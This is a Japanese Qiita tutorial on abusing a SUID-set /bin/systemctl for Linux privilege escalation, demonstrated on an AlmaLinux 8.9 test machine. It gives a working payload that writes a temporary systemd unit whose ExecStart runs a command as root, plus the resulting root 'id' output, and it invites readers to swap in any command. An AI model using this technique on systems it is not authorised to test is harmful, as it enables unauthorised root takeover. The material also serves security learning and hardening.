0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【ハッキング入門】systemctlを利用した権限昇格

Posted at

概要

/bin/systemctlにSUIDがセットされている場合、それを悪用し権限昇格に利用できます。

SUIDビットが設定されたファイルの検索方法についての記事も併せてご覧ください。

環境

  • OS: AlmaLinux 8.9
$ cat /etc/almalinux-release
AlmaLinux release 8.9 (Midnight Oncilla)

systemctlにSUIDがセットされています。

$ ls -l /bin/systemctl 
-rwsr-xr-x. 1 root root 223688 10月 15  2023 /bin/systemctl

現在は一般ユーザーアカウントuserでログインしています。

$ whoami 
user

権限昇格

使用するペイロード全体は下記。
最初に簡単に説明すると、systemctlのユニットファイルを置き換えて任意のコマンドをroot権限で実行しています。

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
sudo systemctl link $TF
sudo systemctl enable --now $TF

少し詳しく解説します。

まず、TF=$(mktemp).serviceを実行します。

ここでは、systemdのユニットファイルパスTFという変数に入れています。ファイル名はmktempコマンドで適当なファイル名を付けています。

[user@localhost ~]$ TF=$(mktemp).service
[user@localhost ~]$ echo $TF
/tmp/tmp.MXTewjrxXT.service

mktempコマンドで作業用の一時ファイル,一時ディレクトリを作成できる。

$ mktemp 
/tmp/tmp.RhAZQDLWNl

次に、echo '[Service] Type=oneshot ExecStart=/bin/sh -c "id > /tmp/output" [Install] WantedBy=multi-user.target' > $TFを実行します。

ここでは、'[Service] Type=oneshot ExecStart=/bin/sh -c "id > /tmp/output" [Install] WantedBy=multi-user.target'の文字列を先ほど作成したユニットファイルに保存しています。

catコマンドでユニットファイルに保存されていることを確認できます。

[user@localhost ~]$ echo '[Service] Type=oneshot ExecStart=/bin/sh -c "id > /tmp/output" [Install] WantedBy=multi-user.target' > $TF
[user@localhost ~]$ cat $TF
[Service] Type=oneshot ExecStart=/bin/sh -c "id > /tmp/output" [Install] WantedBy=multi-user.target

ユニットファイルの各要素についてはRedHatカスタマーポータルを参考にしてください。
今回重要なのはExecStartです。

ExecStart: ユニットの開始時に実行するコマンドまたはスクリプトを指定します。

引用:RedHatカスタマーポータル

今回の場合idコマンドがsystemctl開始時にroot権限で実行されます。
ここをroot権限で実行したいコマンドに適宜置き換えて下さい。

そしてコマンドの実行結果を/tmp/outputファイルに保存するよう指定しています。

次に、/bin/systemctl link $TFを実行します。

$ /bin/systemctl link $TF
Created symlink /etc/systemd/system/tmp.MXTewjrxXT.service → /tmp/tmp.MXTewjrxXT.service.

ここでは、systemctlコマンドのユニットファイルパスをTF変数のファイルパス/tmp/tmp.MXTewjrxXT.serviceにリンクさせています。

systemctllinkについての詳細はmanコマンドやこちらのサイトから確認してください。

最後に、sudo systemctl enable --now $TFを実行します。

ここでは、systemctlを実行しています。
実行することで、ExecStartで指定したコマンドの結果が、指定したファイルパスに保存されていることが確認できました。

$ cat /tmp/output 
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

今回はidコマンドの結果を/tmp/outputファイルに保存しました。
結果、root権限で実行されたidコマンドの出力を確認できました。

上記の流れで権限昇格に成功しました。

参考サイト

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?